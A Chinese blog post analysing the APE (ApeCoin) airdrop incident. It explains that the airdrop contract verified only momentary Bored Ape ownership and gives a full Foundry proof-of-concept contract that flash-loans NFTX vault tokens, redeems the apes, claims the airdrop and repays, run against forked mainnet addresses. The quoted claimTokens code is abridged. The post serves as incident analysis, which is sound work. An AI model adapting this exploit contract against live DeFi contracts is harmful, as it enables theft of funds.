最近大家都在谈论APE的空投被撸羊毛的事件,老板也让我分析一下。这里我就把我自己分析的部分贴出来,包括一些POC,欢迎讨论
最近大家都在谈论APE的空投被撸羊毛的事件,老板也让我分析一下。这里我就把我自己分析的部分贴出来,包括一些POC,欢迎讨论 blocksec 团队的分析非常专业,推荐一下:https://learnblockchain.cn/article/3708
事故发生的根本原因是:空投合约APE的claimToken函数里面只验证了你持有无聊猿猴就行,而不是常见的线下签名的方式。只要瞬时持有就行,也没有限制你持有的时间等。
function claimTokens() external whenNotPaused {
uint256 tokenId = alpha.tokenOfOwnerByIndex(msg.sender, i);
if(!alphaClaimed[tokenId]) {
alphaClaimed[tokenId] = true;
emit AlphaClaimed(tokenId, msg.sender, block.timestamp);
}
uint256 tokenId = gamma.tokenOfOwnerByIndex(msg.sender, i);
if(!gammaClaimed[tokenId] && currentGammaClaimed < gammaToBeClaim) {
gammaClaimed[tokenId] = true;
emit GammaClaimed(tokenId, msg.sender, block.timestamp);
currentGammaClaimed++;
}
其实攻击的思路非常简单直接,就是利用NFTX这一个无聊猿猴的抵押平台,去做一个闪电贷。
as long as i currently has it, it can be claimed. so the idea is very stratforward: borrow apes, claim tokens.
while the flashloan not flashloan the ape NFT, but instead a token. let's figure out how to make use of it
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32);
我设想的一个攻击流程是:闪电贷出NFTX 这一个ERC20 token,然后去用这些ERC20 token redeem出所有的无聊猿猴,然后拿着无聊猿猴去claim 空投,然后是通过mint偿还无聊猿猴,这时候为了支付手续费还需要去sushi上换一点ERC20 token,最后是repay flashloan。 但是这个思路最大的问题是:sushi上的NFTX-WETH的深度太浅,需要使用318个ETH才足以swap到手续费的NFTX token。导致基本上没有利润。所以最后作者自己去opensea上面买一个无聊猿猴,可能才是最合理的思路。
the strategy is :
NFTX.flashloan
-> NFTX.redeemTo
-> APE.claimTokens
-> NFTX.mintTo ids:[ 7,594 , 4,755 , 9,915 , 8,214 , 8,167 , 1,060]
-> uni.swapETHForNFTX
-> repay flashloan
-> transfer back APE token```
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// forge test --match-contract NFTXHackTest --fork-url https://eth-mainnet.alchemyapi.io/v2/**** --fork-block-number 14403948 -vvvv
import "ds-test/test.sol";
import "forge-std/Vm.sol";
import "forge-std/stdlib.sol";
import "./INFTX.sol";
import "./IAPE.sol";
import "./IRouter.sol";
import "./ApeNFT.sol";
contract Hack is DSTest {
AirdropGrapesToken public ape =
AirdropGrapesToken(0x025C6da5BD0e6A5dd1350fda9e3B6a614B205a1F);
NFTXVaultUpgradeable public nftx =
NFTXVaultUpgradeable(0xEA47B64e1BFCCb773A0420247C0aa0a3C1D2E5C5);
UniswapV2Router02 public router =
UniswapV2Router02(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
BoredApeYachtClub public apeNFT =
BoredApeYachtClub(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D);
uint256 amountTotal;
constructor() payable {}
function start() public {
uint256 amount = 1 ether * nftx.totalHoldings() + calcualteFees(); //5
amountTotal = amount;
emit log_named_uint("flash loan amount", amount);
nftx.flashLoan(address(this), address(nftx), amount, "0x");
}
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32) {
//nftx.redeem
uint256[] memory tokenIds = nftx.allHoldings();
emit log_named_uint("tokenIds length", tokenIds.length);
nftx.redeemTo(nftx.totalHoldings(), tokenIds, address(this));
//ape.claim
ape.claimTokens();
///approve NFT to address(NTFX)
apeNFT.setApprovalForAll(address(nftx), true);
//nftx.mintTo
uint256[] memory amounts = new uint256[](0);
nftx.mintTo(tokenIds, amounts, address(this));
//calculate how much i need to repay
address[] memory path = new address[](2);
path[0] = address(router.WETH());
path[1] = address(nftx);
(uint256 transferIn, uint256 expectedOut) = calculate(path);
//router swapETHforExactTokens
router.swapETHForExactTokens{value: transferIn}(
expectedOut,
path,
address(this),
type(uint256).max
);
//repay
nftx.approve(address(nftx), type(uint256).max);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
return this.onERC721Received.selector;
}
/// actually doesnt need to calculate the fee, because it is unrelated to the amount borrowed
/// @dev NO_NEED!!!
function calcualteFees() public returns (uint256) {
///redeem fee + mint fee
uint256 len = nftx.totalHoldings();
uint256 mintFee = nftx.mintFee() * len;
(, uint256 _randomRedeemFee, uint256 _targetRedeemFee, , ) = nftx
.vaultFees();
uint256 redeemFee = (_targetRedeemFee * len) +
(_randomRedeemFee * (len - len));
return mintFee + redeemFee;
}
function calculate(address[] memory path)
public
returns (uint256 transferIn, uint256 expectedOut)
{
expectedOut = amountTotal - nftx.balanceOf(address(this));
uint256[] memory amounts = router.getAmountsIn(expectedOut, path);
transferIn = amounts[0]; // need to swap 319.1816041478083 ether for the token, how crazy!!!
}
}
contract NFTXHackTest is DSTest, stdCheats {
address public APE = 0x025C6da5BD0e6A5dd1350fda9e3B6a614B205a1F;
address public NFTX = 0xEA47B64e1BFCCb773A0420247C0aa0a3C1D2E5C5;
address public router = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F;
address public apeNFT = 0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D;
Hack public hack;
Vm public vm = Vm(HEVM_ADDRESS);
function setUp() public {
vm.label(APE, "APE");
vm.label(NFTX, "NFTX");
vm.label(router, "router");
hack = new Hack{value: 1000 ether}(); //300 ether
vm.label(address(hack), "hack");
}
function test_Start() public {
hack.start();
}
}
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!